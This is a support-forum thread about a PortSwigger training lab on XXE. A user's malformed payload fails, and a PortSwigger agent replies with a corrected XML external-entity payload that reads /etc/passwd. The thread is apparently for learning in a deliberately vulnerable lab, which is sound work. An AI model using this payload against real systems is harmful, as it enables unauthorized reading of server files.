Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: Exploiting XXE using external entities to retrieve files

Szymon | Last updated: Mar 29, 2022 08:59AM UTC

Hello, i can't solve the Lab: Exploiting XXE using external entities to retrieve files, i am using body in request: ?xml version="1.0" encoding="UTF-8"?> <!doctype root [<!entity test system 'file: ///etc/passwd'>]> <stockCheck><productId> %test </productId><storeId>2</storeId></stockCheck> And i get the response: HTTP/1.1 400 Bad Request Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 47 "Entities are not allowed for security reasons" The soulution from the lab page also doesnt work.

Ben, PortSwigger Agent | Last updated: Mar 29, 2022 11:18AM UTC

Hi, I have just run through this particular lab and was able to solve it using the solution provided. Your proposed solution does look as though it has various issues - are you able to solve the lab if you use the following (based on what you were trying to send): <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]> <stockCheck> <productId> &test; </productId> <storeId> 1 </storeId> </stockCheck>

Szymon | Last updated: Mar 29, 2022 09:24PM UTC